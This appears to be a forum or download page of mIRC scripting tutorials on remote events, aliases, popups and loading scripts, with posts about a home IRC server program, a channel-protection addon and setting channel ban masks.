spammer! will be messaged to the 3rd common channel. dec %c then decreases the value of %c by 1. This is a while loop. This time it's messaged to the 2nd common channel. It goes on till the value of %c becomes 0. This way it's informed in all the common channel about the nick being a spammer. The above example is not a perfect spammer information script, again. It was just an example. You can sure write a good one if you are creative enough. Take a look at these scripts below and try to follow them: on *:text:boom:?: msg $nick Kaboom! on *:text:*boom*:?: msg $nick awrite so you are a bomber! on *:notice:Hello*:?: notice $nick Hello $nick! on *:text:*bye*:#: msg # Bye $nick $+ , take care!- will msg the $nick with "Kaboom!" if s/he says exactly and only "boom" in the query window. - will msg the $nick with "awrite so you are a bomber!", if the text typed by him/her contains "boom" anywhere. Note the use of wildcards. - Will notice the person with "Hello (nickname)!", if someone sends you a notice starting with "Hello". - Sends the message "Bye (nickname), take care!" in the channel, if someone mentions the word bye in a channel. Remember, if scripts are not written properly they can be real stupid. For instance, the given *bye* example will be a stupidest script if you used it. It won't know if the person is saying bye to leave or someone is saying bye to another person who has just decided to leave and will not be leaving by herself or himself. It will say "Bye <nickname>, take care!", even if someone simply typed a jargon "ghBGjhgbgbyejsjfef", because that jargon contains a 'bye' in it. One important thing you must bear in mind is that in a remote script file there can be only one instance of a particular event. In case there are two instances, the one defined first is executed. For example if you have a remote file with the following codes on *:join:#: msg # one on *:join:#: msg # two The first one will be executed - when someone joins a channel the script will message "one" in the channel. But if the remote parameters are different you can have two more instances of an event. For example: on *:text:two:#: msg # two on *:text:one:#: msg # one If someone types "two", mIRC messages "two" in the channel. If someone types "one", mIRC messages "one" in the channel. The mIRC help file lists all the remote events you can make your scripts respond to. If you have gotten the basic idea about how remote works, you can apply the same principle for the other remote events. Remote isn't really very tough. Tips: You want to test and debug your remote online scripts without being connected to the Internet?, just run your own IRC server and connect to it. A good one is WIRCSRV. Once you get it running type /server 127.0.0.1 in mIRC to connect.
  18. Aliases Aliases are mIRC's way to define functions. An alias is a shortcut for often-used command such as join, part, quit, opping and deopping, and whatever else you want. For example: Typing /j #channel makes you join #channel, in case that the /j was made as a shortcut for joining channel then you can call this as an alias named /j. And typing /p #channel makes you leave the channel #chanel, in case that the /p was made as a shortcut for leaving/ parting channel then you can call this as an alias named /p and so on. see this captured codes taken from the Aliases tab section in the scripts editor: As you can see from the given screenshot there are some other names written as /op, /dop, /k ect... They are examples of the aliases. Tips/ info: The written text you see after an alias name is the contained command(s) that will be executed when the related alias is triggered. An alias may contain more than one contained command. In general, all commands which can be used in the edit box (the line or lines you normally use to talk/type in) can be used in an alias. Aliases can also be used to execute several commands at once. Creating Aliases Creating a new alias is relatively easy!. There are some ways to write your own aliases, and the simple one is to use the Aliases tab section in the Scripts editor. Follow the following steps to create you first alias using this way : On the main windows of your mIRC program go to Tools menu > Scripts Editor. The mIRC Scripts Editor will start with the Remote tab section opened. Select the Aliases tab section. In the Aliases editor write the following codes : /myfirstalias /echo This is my first alias When you've finished writing the codes your Aliases editor would look something like : Press the OK button to save your aliases. Now, in the EditBox (the line or lines you normally use to talk/type in) of your mIRC type : /myfirstalias and press "Enter" on your keyboard. Congratulations!. If you did everything correctly you should see something like this : Now let me explain what we did exactly. We created an Alias named myfirstalias contains a /echo command. As we can see from the result this command prints our text This is my first alias. Easy right?. Tips/ Info: The basic syntax to write an alias in the Aliases editor is : alias_name contained_command(s) . The forward slashes (/) before the name of the Alias and the Command are optional. Where myfirstalias echo This is my first alias without / (the forward slashes) will do the same thing as /myfirstalias /echo This is my first alias with the forward slashes (/) You can use the {} brackets to create a multi-command lines for an alias. So that You can make your "myfirstalias" alias something like: /myfirstalias { echo this is the result of the first contained command echo this is the result of the second contained command echo this is the result of the third contained command echo this is just another result of another command echo Now I understand that I can use {} brackets to create a multi command lines for my alias } There are two more other ways to create aliases besaides using Aliases editor, they are : The first one is to write aliases in the Remote tab section in the Scripts Editor, by using alias declaration. The basic syntax for this method is alias alias_name contained_command(s) . See the below screenshot for the example. on this example the function of alias declaration is to tell mIRC that myfirstalias was declared as an alias. The second other way is to declare the aliases in the EditBox (the line or lines you normally use to talk/type in), by using the /alias declaration with a / (forward slash) and the same syntax as in the Remote Editor. Once you type /alias myfirstalias /echo This is my first alias in the EditBox then press "Enter" on your Keyboard you should see something like this: Whatever the way you use to create your aliases they will do the same thing for you, choose one that is most user friendly for you. Now let's get on to something more interesting. Create an Alias named "what" for "/echo what do you think about $1- ? wasn't it cool?". Open your Aliases Editor and type the following codes to create the alias: what /echo what do you think about $1- ? wasn't it cool? Press Ok button to save the aliases and in the EditBox of your mIRC type /what mIRC Scripting Primer and see what you get. Congratulations!, (again?!). You can replace "mIRC Scripting Primer" with some text you want, something like "Nevermind song by Nirvana" will work fine. Did you notice the $1- in the codes? it's called Identifier. It's got predefined value set by mIRC. The $1- identifier acts differently to $1 identifier. Which the $1- represents All the text you type after a triggered alias while the $1 represents the first string only. Are you a little confused? Don't be. Create the following Aliases and see what they do, you will be clear about the $1- thing. letters /echo My letters are : $1- letter1 /echo the first letter is : $1 letter2 /echo the second letter is : $2 letter3 /echo and the third letter is : $3 Save your aliases then type the following in your Edit Box, and see what happens : /letters mIRC Scripting Primer then this : /letter1 mIRC Scripting Primer and this : /letter2 mIRC Scripting Primer This is the last one : /letter3 mIRC Scripting Primer Wasn't that cool?. There are many many more useful Identifiers, refer the Help File. The Identifiers from the categories of Time and Date, File and Directories, Nick and Address, Text and Numbers and Other Identifiers are a must-know. Other Identifiers, you can learn as you start writing more complex scripts and when necessary. With this I close the chapter on Aliases. Next we will be learning about more other vast and important subject. so, watch my steps and happy scripting. Tips: You want to test and debug your remote online scripts without being connected to the Internet?, just run your own IRC server and connect to it. A good one is WIRCSRV. Once you get it running type /server 127.0.0.1 in mIRC to connect.
  19. Popups In simple way, Popups are the menus that appear when you right click on an mIRC window. They are a list of predefined commands . Popups are also used to control window mouse events. Look at the screenshot shown at the right, that's how a Popup looks like. You get that one when you right click in the nickname list (the column at the right corner of the channel window, where you see the nicknames). Try clicking there. Depending on whether you are using a script or not you should see something similar to the picture shown here; it's the default mIRC nickname list Popup. As you can see from the shown picture there are some available menus such Info, Whois, Query, Control ect... Creating Popups There are 2 ways to create popups : One is to use the Popups Editor in the scripts editor which is divided into sections already, so, you don't have to declare what kind of manu it is, just create the menu items. And the second way is by using the Remote Tab and using the menu declaration. 1. Creating Popus using Popups Editor Now let's start with creating your first Popup using the Popups tab section in the Scripts Editor. First take a look at the Popup files for the Popups in mIRC. Press ALT+P (this takes you directly to the Scripts Editor in Popups mode). See the codes? Most probably the Popups file for the Status window will be put in the Edit mode. Right click in the Status window and analyze the codes and the corresponding Popup. If you want to see the Popup file for NickList, click on View and choose Nick List. Now take a look at the codes and compare with what you see in the Nick List Popup when you right click. Making sense? Let's get going with what we were upto. First you have to decide which window you want to write the Popup for. If it's for the Channel window, click on View and select Channel, similarly, the same for other windows. Now write the following codes in the Popups Editor. We are going to make a Popup for the channel window. Make sure you have chosen Channel from the View Menu. - My First Popup: / - Hello: say Hello everybody! Bye: say Good bye everybody! - Greetings .Thanks Friends:say Thanks for being wonderful friends! .New Year: say New Year Wishes to all! .God Bless: say The blessing of God on all! - Love Sayings:{ say The greatest healing therapy is friendship and love! .timer 1 3 say When you love someone, all your saved-up wishes start coming out! .timer 1 7 say Love is the emblem of eternity, it confounds all notion of time! } - Quit: quit Killed by a Popup! Close mIRC: exit Sure you have to join a channel and right click in the main channel window to see the result of the above code. If you did all correctly you should see the Popup menu such the below picture: Using the above code as an example, I will cover the topic on Popups for beginners. Let me explain you the code. The - is to create a line separator between the menus. I used it in the first line to separate the new Popup menu from the already existing Channel Modes menu of the channel Popup. The menu 'My First Popup' is a functionless menu, I used it to give a name to the Popup we just created. Popups menu definitions follow this pattern Menu name: mIRC-command. For eg: Hello: /say Hello everybody will perform the command /say Hello everybody when you click on Hello in the Popup menu. Hello is the menu name and /say Hello everybody is the command executed by mIRC. Similarly Bye is the menu name and /say Good bye everybody! is the command. In the next menu we have Greetings as the main and Thanks Friends, God Bless and New Year as submenus. Submenus are created by putting a . (dot) infront of the submenu name following the menu name. And if you want to create submenus under a submenu, you need to put .. (two dots) in front of the sub-submenu name following the submenu name. In the Love Sayings menu, we have 3 commands. To include more than one command in the Popup (also in Remote), we enclose the commands within { } (curley brackets). Look at the Love Sayings Popup code... Love Sayings:{ say The greatest healing therapy is friendship and love! .timer 1 3 say When you love someone, all your saved-up wishes start coming out! .timer 1 7 say Love is the emblem of eternity, it confounds all notion of time! } In additon to that In the commands of this popup you can see .timer 1 3. It's an mIRC command which starts a timer and executes the mIRC command(s) according to the specification. timer 1 3 will execute the command following it, once after 3 secs (1 3). You can observe the same in new menu if you want to. Say you want to sing "Show me Some Emotion" a song by Celine Dion and send some words of the lyric to the current channel, then your codes should be something like : A song by Celine Dion:{ me would like to present "Show me Some Emotion" a song by Celine Dion!? .timer 1 5 say I've tried my best for so long .timer 1 8 say To break down these walls .timer 1 11 say But you build them strong .timer 1 14 say So I stand here waiting, wondering why .timer 1 17 say Oh why .timer 1 20 say Why you don't give a little bit .timer 1 23 say Break down and give a little bit .timer 1 26 say Show, show some emotion .timer 1 29 say Open, open your heart, ooh .timer 1 32 say Set free an ocean .timer 1 35 say Only a feeling can save us now .timer 1 38 say You say you've been hurt .timer 1 41 say Well you're not alone .timer 1 45 say and so on.. } It contains 15 commands, all of them enclosed within { }. Try removing the . (dot) before the timer command and see what happens. 2. Creating Popups using Remote Editor You can also create and write Popup code in the Remote Editor by using menu declaration. Below is the basic pattern to create Popup menus using this method : menu window_name(channel,nicklist,status,menubar,query,@window) { menu_name: mirc_command(s) } For example : menu channel { leave this channel: part } This code is to create a popup menu for the channel window. If you want to create a popup menus for the nick list section (the column at the right corner of the channel window, where you see the nicknames) then the code should look like menu nicklist { leave this channel:part }, and use the same way for other mIRC windows. Just make sure you write all the codes in the Remote tab section in the Scripts Editor. The codes for our first Popups (the popups which we've created in the first session of this tutorial) should look like in the below screenshot when we create this using this method: easy right!?. If you want to create a Popup for more than one window name, you can include the locations (window name) separated with a comma after menu. like This : menu channel,nicklist,query { Exit Program: exit } wasn't that cool?. With this I close the chapter on Popups. Next I invite you to join me in the vastest and most important subject on mIRC scripting : "Remotes". Tips: You want to test and debug your remote online scripts without being connected to the Internet?, just run your own IRC server and connect to it. A good one is WIRCSRV. Once you get it running type /server 127.0.0.1 in mIRC to connect.
  20. mIRC has three tool sections in which it can be "programmed" in some way: The Aliases, Popups and the Remote section. In the Remote section you can define Users, Variables and Scripts. In scripts you can define how mIRC reacts to things happening on IRC, in CTCP's and Events. First of all we'll see what the mIRC Scripts Editor is. It's where you write your scripts. Refer the picture below: You click on the icon pointed by the cursor in the picture to open the mIRC Scripts Editor in mIRC v6.32 or later. If you are using an older version it will look different though. I am writing this tutorial with version 6.32 in mind. If you are using an older version you will need to download and install version 6.32 or later. It's not a huge file; only 1.74 Mb or less. So you can always do it. The picture on the right shows the mIRC Scripts Editor. It's in the Aliases editing mode. The other modes are Popups, Remotes, Users and Variables. You change the mode by clicking on the corresponding Tabs. I'll be using the words work space, panel and editing mode interchangeably. Many script files can be loaded onto the editor at a given time. For example: 5 Alias scripts, 3 Popup scripts and 13 Remote scripts. Now how do you edit the files individually? Click on View and select the script you wanna edit. Make sure you are in the proper edit mode or you won't find your files. Writing a script in the wrong mode will make your script not function at all. You should be in the correct mode - look at the active tab. The picture on the right shows the View menu. It's in the Remote edit mode. You can observe: 13 files are loaded and Protection.mrc is the currently the active file in the edit mode. To create a new script file you click on File>New. To load a file, File>Load. If you have ever used NotePad you should get the logic of how things work. The File commands are similar. Only make sure when you click Unload, the intended script file is selected in the editor. It's a common mistake which happens esp if you are in a hurry. You often end up unloading the wrong file. As a newbie you should take special care. Introduction to Aliases, Popups and Remote Now a brief introduction about Aliases, Popups and Remote. Wondering why I didn't include User and Variables? Because they contain values to be usually created and used by the 'active' scripts (Aliases, Popups and Remote). I never use Users, I find it boring =:) It's just my personal preference and scripting style. You can definitely do without it. Variables, you don't usually write a special Variables file. Maybe some people do. But I don't. I create the variables from the scripts itself. If I have to use a lot of Variable values I usually use an INI file. You can forget about all these for now. Just remember it's the Alias, Popup and Remote which you use to create mIRC script files. Now let's take a look what they are. Aliases: Typing /j #channel makes you join #channel. /op NickName will set NickName mode +o. Type /p #channel and you part the channel #chanel. They are examples of Aliases. Let's say you have a robot called CuteAngel. When you whistle Am she closes the windows. When you whistle G# she closes the door. When you whistle F she brings you a can of beer and plays 'Live to Tell' by Madonna. Now, you see you have used whistle notes to invoke predefined actions which would have otherwise taken you more than one word to express your will. Aliases have a similar function, they help you customize your short-cuts (or long-cuts if you are not very bright) for mIRC commands. You didn't have to type /join #channel or /part #channel or /mode #channel +o NickName, which are the actual mIRC commands. We'll see more about Aliases in the Chapter on Aliases. Popups: That's what a Popup is, the picture at the right. You get that particular one when you right click in the query window (private message window). Aliases and Popups are very similar in function. Popups too are used to create (clickable) shortcuts. In Aliases you had to know the alias you created to envoke it. In Popups you are presented with the shortcuts you created when you RightClick the mouse. Analogy: You have a poster in your room with many words listed on it. When you point on "Pizza" CuteAngel brings you a Pizza. When you point on "Pizza-o" she cleans up all the Pizza mess you created on your table. When you point on "Pizza-p" she brings you a Pizza and a Pepsi. See, you save a lot of time and energy by not having to explain CuteAngel in detail again and again what you want. Popups are often used to call (envoke) the aliases you created. We'll see more about Popups in the Popups Chapter. Remote: This is the ultimate one. Apart from it's native functions it can be used to create both Aliases and Popups. And yes also custom Identifiers, things like $CuteAngel(). We'll see more about Identifiers and custom Identifiers later. If you plan to distribute your scripts, I suggest you use Remote to create Aliases and Popups. Let's take a look at the native functions of Remotes. You must have seen or heard about scripts that will automatically voice (mode +v) the people who join the channel. Or those which will close the query window if the text contains www. They are all Remote based: If something happens, then do this or that. As long as the event you specified doesn't take place the commands are not executed. CuteAngel won't clean your room as long as it is clean, she won't feed you as long as you are not hungry, she won't bath you as long as you are not stinking like a Yeti. But at the same time you should have programed her to do the necessary when the condition is true. Remote is a compartively vast topic and a very very interesting one. More about Remotes in the Remote chapter. Loadding Script Files If you are a really really clueless newbie you may have no idea how to load an mIRC script file too. Just in case, I'll tell you how to do that. You know there are many types of script files and you need to load them appropriately or they won't work. Most of the scripts you get online are Remote scripts so you will be using the /load -rs <filename> most often. As you might have guessed you use the load command to load the scripts. Below I show you how to load the different scripts in their appropriate ways. /load -a <filename> /load -pc <filename> /load -pn <filename> /load -rs <filename> /load -ru <filename> /load -rv <filename>Loads an Aliases file. Loads a channel Popup file. Loads a nicklist Popup file. Loads a Remote file. Loads a Users file. Loads a Variables file. That was the way to load the script files from the command line. There's another way to load scripts in mIRC - from the mIRC Editor. First select the panel where you want to load the file. If it's a Remote script the active panel in the mIRC Editor should be Remote and likewise for other script types. Then you click on File > Load, browse for the file and select it. To unload the files from the command line you use the unload command with the appropriate switches and the file name to unload. For example if you want to unload a Remote file named test.mrc you use the command /unload -rs test.mrc. From the mIRC Editor you unload a script by bringing it in the editing mode (it should be the active script in the mIRC Editor) and then go to File menu and click on Unload. Now that you've gotten some idea about the mIRC Scripts Editor, Aliases, Popups, Remotes and how to load script files we can begin with the next chapter: Aliases. It's often necessary that you learn two or more things at the same time to be able to write interesting scripts as a beginner. So a strict step by step learning process won't help you much. It'd be really helpful to your progress if you learnt about identifiers and commands on your own and right from the start. I won't be discussing in detail about Identifiers and Commands because everything is there in the Help File already. Are we ready? Let's start with Aliases.
  21. So recently while chatting on IRC server on Rizon i managed to have a chat with a chatter called socerer who owns irc-nerds. We were talking about irc scripts and servers and was asking about my server and if i would like to have more chatter's and I was like any other irc server owner of course, but how? well the topic Pylink came up and now from this day were are connected with #nerds and coder-irc-lounge with the help of sorcerer and Pylink. So if you looking to establish on getting more chatter's to your server come join on rizon #nerds or go direct to https://www.irc-nerds.wikii !! Take a sneak peak and see what it's about.
  22. Version 1.0.0

    2 downloads

    Using this program, you can run your own IRC server at home (Off-line/On-line). You can connect to it just like you'd connect to any other IRC server. With this IRC server program you can create and set up your complete IRC networks similar to DALnet, IRCNet or Undernet. Introduction IRCplus 2000 is an IRC (Internet Relay-Chat) server that allows IRC clients to connect to your computer as an IRC based chat server. This is a free IRC Server which limits you to ten connections. It doesn't require registration and works "straight out of the box". The new version is packed full of many new features such as the ability to change server messages, a news flash broadcasting system, built-in log viewer, new built-in (Channel, Nickname, and Memo) Services and Client Connection Classes. Running IRCPlus 2000 After installing the files with the Setup program go to Start > All Programs > IRCPlus 2000 and select IRCPlus aplication to run the program. And for the first time, the Initial Configuration Window will appear. On this screen you can set up the Server Name, Description and Default Administrator account. You could change these to whatever you want. If you are running Windows NT 4.0 (SERVER) You have the option to install IRCplus as an NT Service. This will allow you to Start, Stop the server from any permitted workstation on your Local Area NetWork, and the Administrator does not have to be logged on to the server to start the Server. If you select this, then you will need to start the service from the Services Applet in the Control Panel. Once you have completed the Initial Configuration IRCplus will load as an icon in your system tray. (Note: Windows NT users who have installed it as a service must start it from the Services Applet in the Control Panel, Service Name = IRCplus). Now that you have setup your IRC Server, you want to log on and check out what it does. Lots of people have tried connecting to their server using the "Server Name". This will not work, the server name is only for you to see, But, if your server name and domain name are the same and are on the IRC Server then you can of course connect to it. If you do not have a domain name then you will have to use your IP address. Once you have your IP address simply open any IRC client such as "mIRC, Pirch, MS-Chat, VIRC", or any other, and type /server your.IP.address and then you will be connected to the server. Tips/Info: In the simple way, when you set up the Initial Configuration without any Internet connections you can just use your localhost Ip address (127.0.01 is set by default) as your IRC server. So, the server your should use is by using /server 127.0.0.1 command in the editbox of your IRC client.
  23. Version 7.0

    9 downloads

    This is version 7.0 of CPS, one the most powerful channel and personal protection addon that exists for the *mIRC* a popular IRC client. It comes with a built in help file. CPS includes the latest in IRC protection and protects you from 43 of the most common IRC offences. CPS also has the quickest reaction time so it is also one of the most effective ways to protect yourself. CPS is originally created by Amit, an addon which is very configurable through dialogs and easy to use for all kinds of users, it is well organized and simple to use yet very advanced in its features. It does not contain any offensive features. Features of CPS Version 7.0 CPS will protect you from the most common IRC offences such; Private Text Flood, Query Flood, Private spam protection, Mass join flood, Clones flood, Text flooding, Text repeating, Revolving doors part flood ect... CPS uses Signal events to make the processing of kicks quick and you don't lag at all. CPS uses hash tables to store data which allows you to add unlimited amounts of channels in protected list and all with different configurations. You can make different settings for different channels. You can configure kick messages, ban time, ban types; choose between kicking a nick or kick + banning a nick out of a channel. CPS supports all 10 ban types of mirc. CPS has a channel limiter which will automatically set +l mode in channels that you are opped in according to the minimum user limit you want. CPS has setting dialogs for every kick. which means more options and more comfort. CPS has socket spam checkerbot with which will join your protected channel(you can setup channels) and will cycle after a certain period of time(you can also set this up) and upon being spammed in private it will auto message ur script to kick the nick. NOTE: it auto signals the script not you so the kick is far more quickly done. Note: CPS has so much more features which require that you have basic knowledge of mIRC commands and know how to use basic windows dialogs. If your are below that level it is highly recommended that you don't continue with installing this addon or it will make you look like paralyzed person who tries to fight Muhammed Ali in the kick boxing arena! that's just because you got wrong installation of this awesome addon. Installing CPS Version 7.0 CPS requires to be in its specific directory, please follow the below steps exactly the way they are mentioned to avoid any problems regarding wrong path of this addon. Firstly, you need to find the path of your mirc.exe, find out where it is installed. You can do that by typing the following command in any mirc window. //echo -a $mircdir When you type that command it will echo the path of your mirc directory. Now open your explorer and browse to that path. Say the above command gave you this path --> C:\mirc\. So, open "C:\mirc\" and unzip/unrar the downloaded file in such a way that it creates a sub-directory in the above path called "CPS",; C:\mirc\cps\. To verify if your installation path is correct check the path of file called "Firststep.mrc", it should be: C:\mirc\cps\firststep.mrc . Now open you mirc.exe (If not already opened). and type the below command: /Load -rs cps\firststep.mrc It will generally open a dialog that will say "one or more script has been loaded....." Note: If that dialog opened don't hit enter! Click on "Yes" button with your mouse pointer. Else installation will fail. If you already hit enter then again type the above command and this time click on "Yes" button. If that dialog didn't popped up then you will see the About Dialog popping up which looks like the below screenshot: That means that your installation is successful. And to open the setup configurations of this addon try to right click on one of the available mIRC windows such Status Window or Channel Window. That's all. Enjoy the CPS addon and Keep in safe!.
  24. Beta v7.68.3621 changes:1.Item 9, echo-message is now disabled by default. Seehttps://forums.mirc.com/ubbthreads.php/topics/270495/#Post270495for an explanation.2.Item 37, made a number of improvements.
  25. The vast majority of users who find themselves as moderators, do not know how a ban should be structured and rely on scripts. which 9 times out of 10 ban in this way: Let's take for example this user: ---> Utentecattivo!Ident123@Host.provider.it Uservillain! Ident123@Host.provider.it This is called "mask" and is the set of Nick,Ident,Host The scripts with the simple use of the "click" of the right button on the nick and the selection of the item "banna" 9 times out of 10 ban the entire mask, then execute this command: /mode #nomecanale +b Utentecattivo!Ident123@Host.provider.it in this way if the user is a minimum awake, changes one of the 3 components of his mask, (Nick, Ident, Host) and returns despite the ban .. Leaving aside the methods to change Nick, Ident, Host (Very simple the first 2 a little different speech x the host), let's see how to set a "total" ban on a mask: Divide the mask into 3 parts: Nick Ident Host We set 1 ban for each segment of the mask: /mode #nomecanale +b Nick!*@* /mode #nomecanale +b *! Ident@* /mode #nomecanale +b *!*@Host (In case your script allows it, even the syntax /mode #channel +bbb Nick!*@* *! Ident@* *!*@Host )
×
×
  • Create New...